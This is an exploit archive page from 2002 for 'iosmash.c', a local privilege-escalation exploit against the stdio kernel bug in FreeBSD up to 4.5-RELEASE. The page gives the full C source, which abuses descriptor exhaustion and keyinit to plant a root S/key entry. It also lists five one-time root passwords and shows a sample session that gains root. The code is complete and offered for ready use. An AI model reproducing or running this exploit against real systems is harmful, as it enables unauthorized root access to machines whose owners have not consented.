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iosmash.c

iosmash.c
Posted Apr 25, 2002
Authored by phased

Iosmash.c is an exploit for the stdio kernel bug that resides in all releases of FreeBSD up to and including 4.5-RELEASE. The exploit uses keyinit, which is part of the S/key package, to create 5 valid root passwords that give instant root access trough S/key.

tags | exploit, kernel, root
systems | freebsd
SHA-256 | 6a6a5e8af30ab97b224a0e42ecc45ae27efc070689420d081e0ef24f01aa745c

iosmash.c

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/*
phased/b10z
phased@snosoft.com
23/04/2002

stdio kernel bug in All releases of FreeBSD up to and including 4.5-RELEASE
decided to make a trivial exploit to easily get root :)

> id
uid=1003(phased) gid=999(phased) groups=999(phased)
> ./iosmash
Adding phased:
<--- HIT CTRL-C --->
> su
s/key 98 snosoft2
Password:MASS OAT ROLL TOOL AGO CAM
xes#

this program makes the following skeys valid

95: CARE LIVE CARD LOFT CHIC HILL
96: TESS OIL WELD DUD MUTE KIT
97: DADE BED DRY JAW GRAB NOV
98: MASS OAT ROLL TOOL AGO CAM
99: DARK LEW JOLT JIVE MOS WHO

http://www.snosoft.com
cheers Joost Pol
*/

#include <stdio.h>
#include <unistd.h>

int main(int argc, char *argv[]) {
while(dup(1) != -1);
close(2);
execl("/usr/bin/keyinit",
"\nroot 0099 snosoft2 6f648e8bd0e2988a Apr 23,2666 01:02:03\n");
}

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